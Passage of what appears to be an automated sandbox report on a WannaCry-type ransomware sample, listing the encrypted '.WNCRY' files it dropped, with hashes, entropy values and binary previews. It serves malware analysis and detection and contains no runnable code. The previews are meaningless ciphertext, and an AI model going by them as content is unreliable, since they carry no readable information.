                                    Entropy (8bit):7.783090685389104
                                    Encrypted:false
                                    SSDEEP:24:aZd3FjTRrnCPKYSTz7saFzAuZWl0FCp/iZCzsllJ7Q2:KfnRCPIzoWxZlFCx0CYlL7Q2
                                    MD5:B28188255D34A0CBEB78F7602BDDD476
                                    SHA1:D1F88FD625CBBFE6497854227696B2EBEA1F4A0A
                                    SHA-256:8FB8373188C4DD33B99ED4FAE4DA568DF35F69BFC2B6ED56D814F7E590E2CD41
                                    SHA-512:1BC13BA53AE0CBFC08F5C78181F5BB5F73352792B9EAFA26B8E9D7936C31D2B52B5E3FC2FAD3C8356D5356E41EE500423427B2B3E62EACFA749A78F94E3DC30F
                                    Malicious:false
                                    Preview:.%.l._.?.k..M.uV..7...=W.s...+..~x.F.h9>C.4..a@.>_Uw.....O...`...Q#..,M...1V].O$|V![}k..$.......vvw.e..n1.y.FC[.a.Y..=....X.@...H.Y..F.>d.]-.Qz....W...;.&x......q.....F_=.%.b....FP....'...h.p....>I.J.M..D...+.`#.OM...+...r..1..U .D3...m....r^V...P&z =.].b..~.......X...8..P...3N.>.A........i.D.....t}r.....I....u4.....)".d{F.M.vXKZ.\.....L.U.^H....nn..,..(.P.ax.&tb3.....&O.|.cI.I.]./"ElB.O......]>.6..P./.....U(...h.'..#c$.....6.....Tt/..fC.|~.7X.B...scJS.{k.L......&2".g....t....&...c....akQ...&.[,..].fa;....p.." ._....`.5....C.hl.P|.a .u....kV....x,...zt.bM.. .........pu.Ez-k.!u].k..v'..tL.....4.......3....K....U...w].M............VAx.}../F6J.Q....!..D..&Lt...`........s.q.n"....3.W.p.c1....1`....rsw>s-...2..C$...hp..v....99%..-f../.'..........]Nk9.D...Fhf.?....o..i&y...#.Q...ZIq.p.3...........#Y.e......H+....$'.^.....w>KUJV.....<..Q.B......}...C..6tFXO..dg.o$E.va...~....<>....o.Z...g.*.a.F..._...i.....iZ5..U..~M5..p..s<.....8gp8.v.}...?{

                                    C:\Users\user\Desktop\LFOPODGVOH\IZMFBFKMEB.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830986755842053
                                    Encrypted:false
                                    SSDEEP:24:bkrvbUpVdMlqHjx/D83q72ASr93TN06upLE3Zei/LX9/1fnWUnkzy:bkrvwpVdMkN/sw+93Z03Y9/1fVkzy
                                    MD5:A8C21A0CB125DA30ABB3B637CAEC0278
                                    SHA1:808EDF56E5AF5C05B8802197F494408E9428BF28
                                    SHA-256:C48E03BEE48AFF561D6AAAB66FABFA98C981D7EBFA111B2254D727497740ACB5
                                    SHA-512:61196A394F40E33B531521CCFFC4B8F391D6AC5561D6BA06390D18EDA4B4744E20ECD247EF2C2673711FEDEBB66F2D4DA4528F6A94DDD9F362A0735A52055BF2
                                    Malicious:false
                                    Preview:WANACRY!.......u....&"...&3...cy.a....?d...b.._.*..r!.L..Z>.......5..A9..T.{.y.s...P.B~5.>.).n..}R...N.W.....?..f.v\..._._ ..m-..2.....D...CJ.`.0..;3...N./.....o...J...$...S..K....;.7.._2..C....n,A.I!.Y.*.U9......r......Q.,....\.r.m.Y#^..r.....a.....].............(......z..o@...@.P.=.R..z..&.(....c.W..p...X..t..?hl.u..F..g8..G.SL.h.....uO<..'v.6..u.HLk..Td.+P.C.Y..?.B6^.z.....>.....T.SC.9.~S"........O.......-.;.."9...k.o{&........9......A....<x.Da.,..v.G..s$7.Y7.z.......y....j..G&./N)......O.Hc..,mc........[VG..E..i...m.DIG......X......F>..{.]..1..@.<Ld..#Z.....i.P..x....+wYK...F>....}q!..O..Q...v.7Ai.(.....A.?..b=...#...>.R.P.)...u.A.d..O...oWD ..........e\.|..,...........d@...Y..%5N....?..(...joy..t<...l.Z...->..M...?..=.v..YW...qR^......3..4...If.|.)..J.....Z.@[u..w.....b-.VI..5.q...R.,.z.BO..f.t.tz.:'.v.G.W5...(.|...../{.n#...A..4&....E.u3..cF"........R&)........./.....|..3....r.W...k2.n.s..mk..5.............5t.A..J..

                                    C:\Users\user\Desktop\LFOPODGVOH\IZMFBFKMEB.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830986755842053
                                    Encrypted:false
                                    SSDEEP:24:bkrvbUpVdMlqHjx/D83q72ASr93TN06upLE3Zei/LX9/1fnWUnkzy:bkrvwpVdMkN/sw+93Z03Y9/1fVkzy
                                    MD5:A8C21A0CB125DA30ABB3B637CAEC0278
                                    SHA1:808EDF56E5AF5C05B8802197F494408E9428BF28
                                    SHA-256:C48E03BEE48AFF561D6AAAB66FABFA98C981D7EBFA111B2254D727497740ACB5
                                    SHA-512:61196A394F40E33B531521CCFFC4B8F391D6AC5561D6BA06390D18EDA4B4744E20ECD247EF2C2673711FEDEBB66F2D4DA4528F6A94DDD9F362A0735A52055BF2
                                    Malicious:false
                                    Preview:WANACRY!.......u....&"...&3...cy.a....?d...b.._.*..r!.L..Z>.......5..A9..T.{.y.s...P.B~5.>.).n..}R...N.W.....?..f.v\..._._ ..m-..2.....D...CJ.`.0..;3...N./.....o...J...$...S..K....;.7.._2..C....n,A.I!.Y.*.U9......r......Q.,....\.r.m.Y#^..r.....a.....].............(......z..o@...@.P.=.R..z..&.(....c.W..p...X..t..?hl.u..F..g8..G.SL.h.....uO<..'v.6..u.HLk..Td.+P.C.Y..?.B6^.z.....>.....T.SC.9.~S"........O.......-.;.."9...k.o{&........9......A....<x.Da.,..v.G..s$7.Y7.z.......y....j..G&./N)......O.Hc..,mc........[VG..E..i...m.DIG......X......F>..{.]..1..@.<Ld..#Z.....i.P..x....+wYK...F>....}q!..O..Q...v.7Ai.(.....A.?..b=...#...>.R.P.)...u.A.d..O...oWD ..........e\.|..,...........d@...Y..%5N....?..(...joy..t<...l.Z...->..M...?..=.v..YW...qR^......3..4...If.|.)..J.....Z.@[u..w.....b-.VI..5.q...R.,.z.BO..f.t.tz.:'.v.G.W5...(.|...../{.n#...A..4&....E.u3..cF"........R&)........./.....|..3....r.W...k2.n.s..mk..5.............5t.A..J..

                                    C:\Users\user\Desktop\LFOPODGVOH\LFOPODGVOH.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.78804087380104
                                    Encrypted:false
                                    SSDEEP:24:oln44z3THZ0XrAnt3YsDbNgRbpjg5FlWlm/hdsiKjgS:o20krAntbiRtS0lm/rbKF
                                    MD5:FFFF9EC1A95AE747FE753B02B2E12A89
                                    SHA1:B8E0541BDA12D7F462BF7529828C1392C61A1C68
                                    SHA-256:F5551F6F5B8D30D1759BD776C47C6C4D9C538CA2F5BA490C711D95A855D62568
                                    SHA-512:60E29F17B60A8E3AAF7BCE22861EEDD04B827DD500CFB48753C0633B3EFDDD60517C94514FF0092CDF9E27CEFC2A78BFA6BBDCB248D6BFAD18D5276ADC485C1D
                                    Malicious:false
                                    Preview:.M..}.'6.lq5>]*.+wA..........2.Xb.xIG.........'-....`cOaX$....tA......~1[.[m.[.>......spH..#g;.D4..e`.6..N.....cpA......g...=.B.O(;A......-5u_3Q...K.Y......!C...x...F...|..,!.rS...d..i.A.......r..:p.fLcf;r.<.3'.,:cV.....f3..@...-..Z... ..=.o....I.0...2i|...q/M.,..Z.!v...7(..0e.I.)..v._(.......H.s..O. .>........]9.d.>.#}L0.W.|..K...`.m..=8p..c.C..4'........1egp..dR.Gv.A..{.,..R.z..:....D....V..{...H.nl...^h.....M..@`.......;..L.....2....$j....o.2....Ddn...6....%5......-.A.L.....0.K(2..X..]:...X|..D^'.>rx..t.j.X.']#.. 7&....^.F}...G.?.>.?.XUQJw..H.........B....TM..=......A.5..K;k.Z._.k..&.G..*>....JR.......C..8....Fj..%...N....+j...;...TS....x.45t.?Xm....[G>.a........j..x......Z.k+m.Tvu.........5k(..&.~..-..A.UW...R.;.......|B..}s......Qc+....:h..H......,~..h.......X%..w`ZFl^Me....0..j.$......7.V.8<`-le.*.@..;..V..3.Nt.K..MY.v.d.(.2H...33....~......HJ..i....'._...a.-.}.(.....)!....<]+.#I..Px...E..K..\....;.Q...9...W..X....].....&..

                                    C:\Users\user\Desktop\LFOPODGVOH\LFOPODGVOH.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.872220424905629
                                    Encrypted:false
                                    SSDEEP:24:bkFPo2qPsmaJsi0tgn35ZEcKid9j1/QilttJpKkWv/s:bkytkBn35ucKi31/fX1Tc0
                                    MD5:363EA067C0AEDEA8AF0D5C0C50300F78
                                    SHA1:798F8DB603CC33767E447B9A88AEFCFCBF54D46A
                                    SHA-256:5528D231A210E5D542F8F4A8EBE80A2266DCEAB184DB8893556EFF09679106D7
                                    SHA-512:4EA6DF823A00EDE29EAC0ADDA2D728EBA355481C2D81E532F3F91A89DA0BB2AA04C761FD9C8C3DC0AD36A5120ECE999262B6155ED46A234A72AF86394EEC2831
                                    Malicious:false
                                    Preview:WANACRY!.....~.....U..`*f.W_6d...8D_.u|.]..8@`4..|l..r..I\.......S..~.?.#...|..5b...e.........tk.8`.dL..a:..Cus....h(...+.4$v.".....`_.F}L...).i......k..w5..t.9..j.Ys|q.8.F.g5....6...j.9...D..Tm.i..X.Vv..g..O.....i.E...'5.........f........c.t.U..5..am.k@.`..............%..-...p9g.\.G]..m4..g!. ,.@i(..M.X.....4-.baV.....l...7..!...%.L....g...z#...~.B.z.....o..>.......saXyT"."n.[F.[&...v..).........:...S..~+@nVr...Y5 ......l.W_...c3.mw...y4...,.^...nX..U......t...*.d.9.Q-c...Z.h.l...........K@...rKE....e\..N.g.t..r,nj..'-N....Da..M..2i^.a_...<..,cy?.qn3[.M....a2..=.!..-BD..SZG...R.B...{..i...-...xT..,....dJ.u....M]...%.+w..g-r..J!E.....b.E..,.p9...:.k.wm..~....f..l..V.[.g>.2....T..k.+....W...u9...%@..h..s..=....U.CW\..oI...%..2'.ap.........q..!Bp....r.$:`$..,mK.lhn... ...............W.?._../.VA....735.N@....C....>.A71eD'..a.;..?9..>gd.N...^.....,hy%+e.....@uK.a1........}{.N..`.e...._o..,..V..0..tOMG........xx...R..*.eZ..E.....;....\.%.^...."

                                    C:\Users\user\Desktop\LFOPODGVOH\LFOPODGVOH.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.872220424905629
                                    Encrypted:false
                                    SSDEEP:24:bkFPo2qPsmaJsi0tgn35ZEcKid9j1/QilttJpKkWv/s:bkytkBn35ucKi31/fX1Tc0
                                    MD5:363EA067C0AEDEA8AF0D5C0C50300F78
                                    SHA1:798F8DB603CC33767E447B9A88AEFCFCBF54D46A
                                    SHA-256:5528D231A210E5D542F8F4A8EBE80A2266DCEAB184DB8893556EFF09679106D7
                                    SHA-512:4EA6DF823A00EDE29EAC0ADDA2D728EBA355481C2D81E532F3F91A89DA0BB2AA04C761FD9C8C3DC0AD36A5120ECE999262B6155ED46A234A72AF86394EEC2831
                                    Malicious:false
                                    Preview:WANACRY!.....~.....U..`*f.W_6d...8D_.u|.]..8@`4..|l..r..I\.......S..~.?.#...|..5b...e.........tk.8`.dL..a:..Cus....h(...+.4$v.".....`_.F}L...).i......k..w5..t.9..j.Ys|q.8.F.g5....6...j.9...D..Tm.i..X.Vv..g..O.....i.E...'5.........f........c.t.U..5..am.k@.`..............%..-...p9g.\.G]..m4..g!. ,.@i(..M.X.....4-.baV.....l...7..!...%.L....g...z#...~.B.z.....o..>.......saXyT"."n.[F.[&...v..).........:...S..~+@nVr...Y5 ......l.W_...c3.mw...y4...,.^...nX..U......t...*.d.9.Q-c...Z.h.l...........K@...rKE....e\..N.g.t..r,nj..'-N....Da..M..2i^.a_...<..,cy?.qn3[.M....a2..=.!..-BD..SZG...R.B...{..i...-...xT..,....dJ.u....M]...%.+w..g-r..J!E.....b.E..,.p9...:.k.wm..~....f..l..V.[.g>.2....T..k.+....W...u9...%@..h..s..=....U.CW\..oI...%..2'.ap.........q..!Bp....r.$:`$..,mK.lhn... ...............W.?._../.VA....735.N@....C....>.A71eD'..a.;..?9..>gd.N...^.....,hy%+e.....@uK.a1........}{.N..`.e...._o..,..V..0..tOMG........xx...R..*.eZ..E.....;....\.%.^...."

                                    C:\Users\user\Desktop\LFOPODGVOH\NIRMEKAMZH.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.805391450029683
                                    Encrypted:false
                                    SSDEEP:24:uoXNtpXs9aoGdCc0IDbHs0dyy1vwwH5ppn2nwMFsZYtspOn:u65Xs9aXgPIHpdLD2nP7tqO
                                    MD5:D6FFD80A66AF90B2678FB20515981C98
                                    SHA1:68CEDF1476920CC43F53EA0F225761D49F5266B7
                                    SHA-256:192ED5F97B41C3697070C005BAD1F521AAFF22529808051A153270B449E992AE
                                    SHA-512:9DBB54703819164B2C2C9BACF97C4F48408649C25AA5A345ACF1BC28D5A02C91A1334D73A7EF6C9DA6DB260F5AAC719E300BE241D01A133C28B1C311DA7659D2
                                    Malicious:false
                                    Preview:...F......f..Q. {.U.x...=...K$n.....o...}.li.&.......:.p......qr....Gd.c.d...d.!.....G70FR4.b.q....}......=a.s..........m..XMY/...9..q.L.9..j.m..y.u.C.3.U.^.#^..?.>.+.c..gvZ...5...~L.(.{X}..k.....nV0vs..0@...".GT...N.hW.N...3V.0D.k.Z...6..%....>...|@......R8...-@...J.K.j.wq..../n.....xA.>...........fo....pV.w.x...`B6.3......ff.H2II.J pIo.k.j...Eq.....4'.n<+.U8P.7{.$....l......"<..:8.....t.I.c].*......n........U.....hE.".Y#4......Z1B....4..A~...(..1...(...Z.-2...a.ok8^t~.5..w..j...=....e.....b....9.J..K.....C....2...7../k..3h..Fq'._:.B...=._/.].C."F...(.So.K.E.... R..R@O^`...\.....z]s....].+D\.!n...t.x..h..u.]nNZ.0.+]o~7-T..f....m.Rc]@...g).Q.L@.I'.>.Ub...b.N.T..|8e`.-b.....at..b).........!..6m..a.&...d.A.9...y..ds2.....'7.....9.}.sq.]..%.x1..X-..~.<.vu......p.(...f.?.$&I.G.>.h&;.fO..>S0.?%Q..jvlDU...8..]m8j..{UZ..C.N.:=:..0.<....G..(.....a.....{.w'.H...$&j....DB;...1.O.x../..!^..].T]...L..{............=;{..$.o~.~.A.......v2\.o.

                                    C:\Users\user\Desktop\LFOPODGVOH\NIRMEKAMZH.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.864788925416777
                                    Encrypted:false
                                    SSDEEP:24:bk63XoQOCZVKC2Z9WUNxD4Af+Z03gR+cR7xVuz12naKMn0H7o8WRIe:bkcX5O4VKhD/v8DiwtRVVkFKii7oVue
                                    MD5:2C6123F9E3A30C13B1646ED4809058ED
                                    SHA1:E113E2275CBC42366FE47F3B08D5D8DB9486CA9D
                                    SHA-256:5D4FBB7C0C784FD3F992DC21FB718D575E577EA6213B5D8ED90495D6BBDC30BF
                                    SHA-512:DA377D2796DB39CFCDEF9C66F14C9371F5BAB16A34708226E5569DDCCC601F91C5C2EC5A5AD9EFE0C7CABB741A4E2F8284248771A024650F8EB72AA716EFB185
                                    Malicious:false
                                    Preview:WANACRY!.....;.N......UD....j.v.< .....W..K!.vO.%.|.F....M...(u.T...W.....*).. ..P.I..g..!..+..........'..zp...D.tf5.L4....AZD.tKV.....O.]"...B5..L`....y.....j.d..F.....{.$..,s|.H..L..y.d..FCsw....t...fAp.*e..%....z.:&....D.*.H:...n!.VV.~K(...Q...-...3A..............JaGL....k.T......7..._{Wc$M.'..%c3..s...'..TT...,..R;i..FX%-.../.Z..J;x.V.R.{....z..H#r.k}..j..Y"...B..`...z...G.D.(..'.$%f. L.9M.6...K..4.k..k.d.....8m.....0..(U..O-F.....)..*2g..4....:.`^U.<s.Je.A..+!.u..u..g......S..fz)@....fIEJ....p.I..{]_.....o.0.:VG..>A?i...s.rB^_s.G.(|..."-.....p..{.<.@j.......w}..]............t........-Yu.|\H.-^.?..9;.&7...wAV..8.Ok...=...^..~...<:K.........7......V...u#.)o..E.....$o.u.B..V.9.`.Q....h.Z.Y..M..j...s...~..J.|\..r.r."..cd.6..~.F....j.b'ZE.l.Jeb`..7@....y)....$.~J...=..M.S..Y.l..*.B[.P}......N.y....Krqw..av.e4d.G,.},.5..I.....o.q...:1L....:....X...Y.D0l.......1.^...d.a#.5....i..A...J....}R..Uh..d.'.\....p...9...~jCqpDl.TRVbH..:Y..*Ob...3(..,B..

                                    C:\Users\user\Desktop\LFOPODGVOH\NIRMEKAMZH.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.864788925416777
                                    Encrypted:false
                                    SSDEEP:24:bk63XoQOCZVKC2Z9WUNxD4Af+Z03gR+cR7xVuz12naKMn0H7o8WRIe:bkcX5O4VKhD/v8DiwtRVVkFKii7oVue
                                    MD5:2C6123F9E3A30C13B1646ED4809058ED
                                    SHA1:E113E2275CBC42366FE47F3B08D5D8DB9486CA9D
                                    SHA-256:5D4FBB7C0C784FD3F992DC21FB718D575E577EA6213B5D8ED90495D6BBDC30BF
                                    SHA-512:DA377D2796DB39CFCDEF9C66F14C9371F5BAB16A34708226E5569DDCCC601F91C5C2EC5A5AD9EFE0C7CABB741A4E2F8284248771A024650F8EB72AA716EFB185
                                    Malicious:false
                                    Preview:WANACRY!.....;.N......UD....j.v.< .....W..K!.vO.%.|.F....M...(u.T...W.....*).. ..P.I..g..!..+..........'..zp...D.tf5.L4....AZD.tKV.....O.]"...B5..L`....y.....j.d..F.....{.$..,s|.H..L..y.d..FCsw....t...fAp.*e..%....z.:&....D.*.H:...n!.VV.~K(...Q...-...3A..............JaGL....k.T......7..._{Wc$M.'..%c3..s...'..TT...,..R;i..FX%-.../.Z..J;x.V.R.{....z..H#r.k}..j..Y"...B..`...z...G.D.(..'.$%f. L.9M.6...K..4.k..k.d.....8m.....0..(U..O-F.....)..*2g..4....:.`^U.<s.Je.A..+!.u..u..g......S..fz)@....fIEJ....p.I..{]_.....o.0.:VG..>A?i...s.rB^_s.G.(|..."-.....p..{.<.@j.......w}..]............t........-Yu.|\H.-^.?..9;.&7...wAV..8.Ok...=...^..~...<:K.........7......V...u#.)o..E.....$o.u.B..V.9.`.Q....h.Z.Y..M..j...s...~..J.|\..r.r."..cd.6..~.F....j.b'ZE.l.Jeb`..7@....y)....$.~J...=..M.S..Y.l..*.B[.P}......N.y....Krqw..av.e4d.G,.},.5..I.....o.q...:1L....:....X...Y.D0l.......1.^...d.a#.5....i..A...J....}R..Uh..d.'.\....p...9...~jCqpDl.TRVbH..:Y..*Ob...3(..,B..

                                    C:\Users\user\Desktop\LFOPODGVOH\QFAPOWPAFG.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.826186594382082
                                    Encrypted:false
                                    SSDEEP:12:BZ4YFSYUeq0QZMeZc+eqbG1OC1f4eCJmUOYWq+/0GGkiaRK1i4BllZfbAGhZTdD2:wYFyeoJbylsutRigUvlRAGhZ5IyBWX
                                    MD5:C824954A7826CA20B1C546F253B072E5
                                    SHA1:AB840F95873397B1FE57678187F818D4E0E38136
                                    SHA-256:33A9B5976AADA63DA0DABAB9D973349322DAB58559D673A4AE3C46EC52DE9890
                                    SHA-512:462E7CD8A03B1312858963D5420EBEF4D5593CBC1D0ECDF4523A927C0D79879BC6E6674D35121708AE1246BE03141985C060068F26898E6451BC2E8025EF7D26
                                    Malicious:false
                                    Preview:....].#".....9.....;sI......v......._. .H.>ib.f|..H.9V.`...|,.._*x....=...>'..3d.0~..?..7K..s$.JQ..6...#..^...K..7...QC..d,....NW.l.1....~...;..+.........w.h.....&p.\5.#.'....H.S..u...w.R...8...X.X..t.L.l.0.`...P1..Q\u..\....)..>/^.)..].....4G...N.v.cA......X._........- ./...lsw..B.....*.... t....,....J.........=..F..g....1+u..........J.kC30.}.s.FMC[....8d.9.:....<.d)..kb...'.xo.|6B[..<....q...x.F2$..O).L...%.g(...K;... O..D.N6;.....V....M].....h<.C.!....9..J..7L.9../[..,_k.9r..R.9...&...=f..c.....9=.....7P...Z..w..C..J.A.&.\P?]...`.,...O..SbV.Fy..UV...[.Q..Q.+.v..#E..TjX..=...e...a.....\...t/.....oq....K. .e....@..*..v..8..3.|{..N..O...H..8@.?..%.....:...dk.W...Q<..".}....:....Ey.N.z..h6FdJ....)..y.`.(v.)..W.=:..?.rxR.............`..>;..3o...).......`...o..j.....BX8t.l.6.W#C.AkD.4.N...8..V.G..e>.d.(n.W.3......i.....x.c.....3$..G?.....k.Mm...Cg...p..P5..{...n.3<rv...-..b^..:...zu.!...q.%u.m.........@'......0Y6.^D[.;Qv-L..v.

                                    C:\Users\user\Desktop\LFOPODGVOH\QFAPOWPAFG.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.824964849317711
                                    Encrypted:false
                                    SSDEEP:24:bkNAi8iuGM+Jvu3rnKyvZzhvul9YDV0rrism7B5yx596TJrBWoudB9VtoGcqh8f1:bkNt8ijvu37Nva9YGrrDKPrB2jjo7g8N
                                    MD5:37D0268EB69C7E2E459C0B079D3402E5
                                    SHA1:8CDE52673A0475BEEC4433E1892825390F0414C1
                                    SHA-256:99B5946D080F06F351919E8D9BD934F00E0283B750CA46CA0F1A3F7C7B46D110
                                    SHA-512:989919D2D1B736BD96971DE7BED77BC977D0E0F340CBACF00EC84E6E18838E544297B648B91F2071E4B9B4ACC13D99FB0D85B7B83DB2EE0F6222BDEFFA4EA76B
                                    Malicious:false
                                    Preview:WANACRY!....=d.............ee...^lP..g..n..[?.J../y..D_.bS.a..E.]..[+.......[k.Qx....J...~.O~'....'.\=..[L......r%0Q...{8.*..E..v|.'T....Cf..y....&....%0...>.~g.."...I.^I..b9......wU...i[...-.....Z.x..v..L.c.(.E.....f....>..CW....;CQuC..6...y...3..:.I.g.............? {..............\.".B.<...I..=..o...S..p7..- I.A.H}.h.u..G.<0.....\J...YR.%.P...W..S$......AJ..^.q?r......0.tCj..N.u./....H.':.XY.s;4H,.....,-}....j.vI#.4.x.....yJ.65'.^.xic..&..k...I..'.D....w.".A....G..p...w#.QU..hSQ.....e%.Q...{.4,a/......d. .J...:;.W.h.....Z..U2z.c.&.....J$.zb.DQ&....N...@..1..S:.......I.)Bu.....L....Zb....t..*.<.v..Q.>*...Z..H..n..o.ku..k.H..l.e..j..plH.f.v&B....rm..zs..2.7...T..3j...N3O}z.........@.8.S.Y..v..TF......heQ..~q.!..R:..S.dO.a{...k....G.Ew.0.L../...Nnl.999~7...8.2....TI...V.a7..7V.A.9.1G..^...i..A......2.vs.R..W.0..`=mD...}.4:.i>E...mG...l.......c.lu....2R..... .$.1..bH...x8..{..X..X....eE..d..Bj.(4....Jz~.F(...J..c..<..l.....M~.).3%Iv...~H...O

                                    C:\Users\user\Desktop\LFOPODGVOH\QFAPOWPAFG.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.824964849317711
                                    Encrypted:false
                                    SSDEEP:24:bkNAi8iuGM+Jvu3rnKyvZzhvul9YDV0rrism7B5yx596TJrBWoudB9VtoGcqh8f1:bkNt8ijvu37Nva9YGrrDKPrB2jjo7g8N
                                    MD5:37D0268EB69C7E2E459C0B079D3402E5
                                    SHA1:8CDE52673A0475BEEC4433E1892825390F0414C1
                                    SHA-256:99B5946D080F06F351919E8D9BD934F00E0283B750CA46CA0F1A3F7C7B46D110
                                    SHA-512:989919D2D1B736BD96971DE7BED77BC977D0E0F340CBACF00EC84E6E18838E544297B648B91F2071E4B9B4ACC13D99FB0D85B7B83DB2EE0F6222BDEFFA4EA76B
                                    Malicious:false
                                    Preview:WANACRY!....=d.............ee...^lP..g..n..[?.J../y..D_.bS.a..E.]..[+.......[k.Qx....J...~.O~'....'.\=..[L......r%0Q...{8.*..E..v|.'T....Cf..y....&....%0...>.~g.."...I.^I..b9......wU...i[...-.....Z.x..v..L.c.(.E.....f....>..CW....;CQuC..6...y...3..:.I.g.............? {..............\.".B.<...I..=..o...S..p7..- I.A.H}.h.u..G.<0.....\J...YR.%.P...W..S$......AJ..^.q?r......0.tCj..N.u./....H.':.XY.s;4H,.....,-}....j.vI#.4.x.....yJ.65'.^.xic..&..k...I..'.D....w.".A....G..p...w#.QU..hSQ.....e%.Q...{.4,a/......d. .J...:;.W.h.....Z..U2z.c.&.....J$.zb.DQ&....N...@..1..S:.......I.)Bu.....L....Zb....t..*.<.v..Q.>*...Z..H..n..o.ku..k.H..l.e..j..plH.f.v&B....rm..zs..2.7...T..3j...N3O}z.........@.8.S.Y..v..TF......heQ..~q.!..R:..S.dO.a{...k....G.Ew.0.L../...Nnl.999~7...8.2....TI...V.a7..7V.A.9.1G..^...i..A......2.vs.R..W.0..`=mD...}.4:.i>E...mG...l.......c.lu....2R..... .$.1..bH...x8..{..X..X....eE..d..Bj.(4....Jz~.F(...J..c..<..l.....M~.).3%Iv...~H...O

                                    C:\Users\user\Desktop\LIJDSFKJZG.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.814227383434898
                                    Encrypted:false
                                    SSDEEP:24:OmY8wvXS7tpAmb49pCzVdwi86a7gWqPUC4G020/ri:dtw67tpAmb4jmiVEF4Gd0Ti
                                    MD5:436151BDBBC8123D55ADF452D881B47C
                                    SHA1:97A941FC058E3C24E3DF8B7444FE1434DFF48E77
                                    SHA-256:DFC4C23A66EAC84CD702951796446970628A2FE488A9EDAB05C0E17CD7CC28CC
                                    SHA-512:D9A419A8150752978F6861596B1EA9995BD876C04893F34B6F08B445C78BC847EFBCDA3FDC75F53BD4E1BBB9D2EB583727DCB3EE955CD204DCFAC371A77F1AB9
                                    Malicious:false
                                    Preview:...../..R>..F#3...wyP....8"}>{..e.7..$....X..6"DQH......5...>q9=*p.yT.W..,.Xe../......^..av...`...{9z.z.z..4[&..u.Uv?.C....i...8..2l+/V...3+...>0G...).}B.G\.-..>.`.0..i..w....w...".../X.hV...jG.......RC...7..wv.x....w.M.u...;s.*..n.a..K~.l.DCq......,..v6..........].z.....s...g..q......h....{*.M.0e.|.(.-.81n.o./Y.9+.t......:.E.....XB.y..t..PA..(M..|.$....K.V.7(GG.q<%LEf.5...6G7.V+..z.<6.D.'..C.....'......O...jF..uq.v..t.r....v..d..Q.RL......~.9k...E.#...Tx......5..l.L.i(......G..%.8+....)O..;]..,,n....q..M.m.}]....j. ..GIc..-.1mH.......m..\V.^.....V..m+..0.....#..-|.../.z,.X.B..T.........~V...9..;F...2-......R......V..r.r.\.a*.E....~.J&.3..X3[..:P.@ry...F..L.<.:..o@L;...#.....k.`.b,v........&qj. ..$sp..-/..|......b.Ep:...Z..].......s....M.,o....bD....M6-v...!I...7A.S...$>......4@.f~...<d.......5...t7....w'.)..0y.|.HI..te..:X....Y....p...b...I.}...&?P.P..V$.C..(a...k..i..c.e.VeC.y.v..h.#t....eTzr.....A.)6wc.R5&.a`..6t.d.`.....LV.Fw3:^..c.....

                                    C:\Users\user\Desktop\LIJDSFKJZG.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852935800771721
                                    Encrypted:false
                                    SSDEEP:24:bk0XiuOerMTPn+IEkRVm60x4T1MMGUnEXYu4pTve/IxyYvB96FXr1KQ:bk0XtrMTh9mRGTr9CYDpTiCyMB96R1KQ
                                    MD5:DB8F4A7AE0B1970AEEA3BAF1FC0094E8
                                    SHA1:FBE7F69F4794322212EEB634DE218CD236EDC751
                                    SHA-256:661DAA7425E43F8463CD8691152B8554E2C6E3B4D0259B4F8D83F78606FA4A0E
